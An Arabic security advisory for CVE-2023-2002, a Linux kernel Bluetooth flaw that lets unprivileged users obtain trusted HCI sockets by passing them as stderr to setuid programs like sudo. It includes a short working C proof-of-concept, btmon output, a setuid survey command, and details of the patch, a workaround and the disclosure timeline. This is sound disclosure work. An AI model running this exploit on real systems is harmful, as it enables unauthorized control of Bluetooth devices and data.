
Linux Bluetooth - تشغيل أوامر إدارة عشوائية كمستخدم غير مميّز
تم العثور على خلل في فحص الصلاحيات غير الكافي في نظام البلوتوث الفرعي في نواة لينكس عند معالجة استدعاءات نظام ioctl لمقابس HCI. يؤدي هذا إلى أن المهام التي لا تملك صلاحية CAP_NET_ADMIN المناسبة يمكنها بسهولة وضع علامة trusted على مقابس HCI. المقابس الموثوقة (trusted sockets) تهدف إلى تمكين إرسال واستقبال أوامر وأحداث الإدارة، مثل الاقتران أو الاتصال بجهاز جديد. ونتيجة لذلك، يمكن للمستخدمين غير المميزين الحصول على مقبس موثوق، مما يؤدي إلى تنفيذ غير مصرح به لأوامر الإدارة. يتطلب الاستغلال فقط وجود مجموعة من برامج setuid شائعة الاستخدام (مثل su، sudo).
السبب المباشر للثغرة هو مقتطف الشيفرة التالي:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
يتحقق تنفيذ استدعاء نظام ioctl مما إذا كانت المهمة التي تستدعي الاستدعاء تملك صلاحية CAP_NET_ADMIN اللازمة لتحديث علامة HCI_SOCK_TRUSTED. ومع ذلك، فإن هذا الفحص يأخذ في الاعتبار فقط المهمة المستدعية، والتي قد لا تكون بالضرورة هي من فتح المقبس. على سبيل المثال، يمكن مشاركة المقبس مع مهمة أخرى باستخدام fork و execve، حيث قد تكون المهمة الأخيرة مميزة، مثل برنامج setuid. علاوة على ذلك، إذا تم استخدام المقبس كـ stdout أو stderr، يتم إجراء استدعاء ioctl للحصول على معلمات tty، والتي يمكن التحقق منها عبر أمر strace.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
لن تنجح استدعاءات ioctl لمعلمات tty أبدًا على مقابس HCI، لكنها كافية لوضع علامة trusted على مقابس HCI. لذلك، يمكن لبرنامج غير مميز الاحتفاظ بمقابس HCI موثوقة، مما يمكنه من إرسال واستقبال أوامر وأحداث الإدارة، نظرًا لأن علامة trusted لن يتم مسحها أبدًا.
يمكن أن يكون الاستغلال بهذه السهولة كما يلي:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
علاوة على ذلك، يمكن استخدام btmon للتأكد من أن المقبس أصبح موثوقًا وأن أوامر الإدارة المتتالية ستنجح:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
يمكن العثور على استغلال PoC كامل لتغيير حالة طاقة أجهزة البلوتوث على GitHub.
إذا تم استغلالها بنجاح، فإن الثغرة المحددة لديها القدرة على المساس بسرية وسلامة وتوافر اتصالات البلوتوث. يمكن للمهاجمين استغلال هذه الثغرة لاقتران وحدة التحكم بأجهزة ضارة، حتى إذا كانت خدمة البلوتوث معطلة أو غير مثبتة. من الممكن أيضًا منع اقتران أجهزة معينة، أو قراءة بعض المعلومات الحساسة مثل بيانات OOB.
كانت الثغرة القابلة للاستغلال موجودة في نواة لينكس منذ الإصدار v4.9. بشكل أكثر تحديدًا، أصبحت قابلة للاستغلال بعد الالتزام f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets"). قبل هذا الالتزام، كان استغلال الثغرة يتطلب خداع برنامج مميز لربط مقبس HCI، وهو أمر صعب جدًا (إن لم يكن مستحيلًا) لتحقيقه عمليًا. ومع ذلك، بعد الالتزام، يتطلب الأمر فقط خداع برنامج مميز لاستدعاء نظام ioctl، والذي يعتمد فقط على وجود برنامج setuid، كما هو موضح أعلاه.
يعمل الاستغلال طالما توجد برامج setuid (أو بشكل أكثر دقة، برامج لديها صلاحية CAP_NET_ADMIN) تستدعي ioctl على stdin أو stdout أو stderr. في معظم توزيعات لينكس، يكشف اختبار سريع (وخشن جدًا) أن عددًا غير قليل من برامج setuid تستخدم استدعاءات نظام ioctl، والتي تم وضع علامة 'V' عليها في الجدول أدناه:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
بعد الفحص اليدوي لمخرجات strace، تبيّن أن جميع مستخدمي ioctl هؤلاء يستخدمون استدعاءات ioctl على stdin أو stdout أو stderr للحصول على بعض معلمات tty أو تعيينها. لاحظ أنه لا يتم تمرير أي وسائط على الإطلاق إلى برامج setuid هذه. إذا تم تمرير بعض الوسائط المصممة، فقد يزيد عدد مستخدمي ioctl. نتيجة لذلك، يمكن أن يكون عدد من توزيعات لينكس عرضة لهذا الاستغلال.
كملاحظة جانبية، من غير المرجح أن تتأثر أجهزة Android، لأن الاستغلال يتطلب وجود برامج setuid، والتي تجنب Android استخدامها لبعض الوقت. إلى جانب ذلك، لا توجد أيضًا تطبيقات لديها صلاحية CAP_NET_ADMIN على Android.
تم نشر التصحيح على القائمة البريدية linux-bluetooth والذي يصلح هذه الثغرة عن طريق استبدال capable() بـ sk_capable()، حيث يتحقق sk_capable() ليس فقط من المهمة الحالية ولكن أيضًا من أن فاتح المقبس لديه الصلاحية المطلوبة. في الوقت نفسه، تصحيح آخر تم تقديمه يعزز منطق معالجة ioctl عن طريق التحقق من صحة الأمر في بداية hci_sock_ioctl() والعودة برمز الخطأ ENOIOCTLCMD فورًا قبل القيام بأي شيء إذا كان الأمر غير صالح.
كحل بديل، إذا كانت أجهزة البلوتوث غير مستخدمة على الإطلاق (ولكن ليس من الممكن إزالة الجهاز فعليًا)، فمن الممكن ببساطة حظر الأجهزة باستخدام rfkill، مما سيمنع تشغيل الأجهزة. وبفعل ذلك، لن تنجح إرسال أوامر الإدارة لتشغيل أجهزة البلوتوث. يمكن أن يقلل هذا بشكل كبير من تأثير هذه الثغرة.
هناك طريقتان لتجنب الثغرات المماثلة في المستقبل: تقوية نواة لينكس وتقوية برامج setuid في مساحة المستخدم.
تشترك هذه الثغرة في نفس المبدأ تمامًا مع CVE-2014-0181. في حالة CVE-2014-0181، كانت المشكلة هي عدم وجود آلية لتفويض عمليات Netlink بناءً على فاتح المقبس، مما يسمح للمستخدمين المحليين بتعديل تكوينات الشبكة باستخدام مقبس Netlink كـ stdout أو stderr لبرنامج setuid.
2023-04-04: اكتشفت هذه الثغرة أثناء تدقيقي لمكدس بروتوكول البلوتوث في نواة لينكس.
2023-04-09: أبلغت عن هذه الثغرة إلى فريق أمان نواة لينكس وبائعي التوزيعات، مع نسخة أولية من التصحيحات.
2023-04-12: تم تعيين معرّف CVE لهذه الثغرة، وهو CVE-2023-2002.
2023-04-13: بعد عدة أيام من النقاش مع المشرفين، تم تحديث التصحيحات وفقًا لذلك.
2023-04-16: تم الكشف عن الثغرة في القائمة البريدية العامة oss-security وعلى GitHub (هنا). تم نشر تصحيحين على القائمة البريدية العامة linux-bluetooth (الأول، الثاني).
2023-05-01: تم دمج الإصلاح في النواة الرئيسية (كجزء من نافذة دمج v6.4)، وكذلك في v6.3.1 و v6.2.14 و v6.1.27 و v5.15.110. كما تمت جدولته للإصدار المستقر التالي لأنوية v5.10 و v5.4 و v4.19 و v4.14.
2023-05-17: أخيرًا، وصل الإصلاح إلى جميع الأنوية المستقرة. على وجه التحديد، تم تطبيقه أيضًا على أنوية v5.10.180 و v5.4.243 و v4.19.283 و v4.14.315.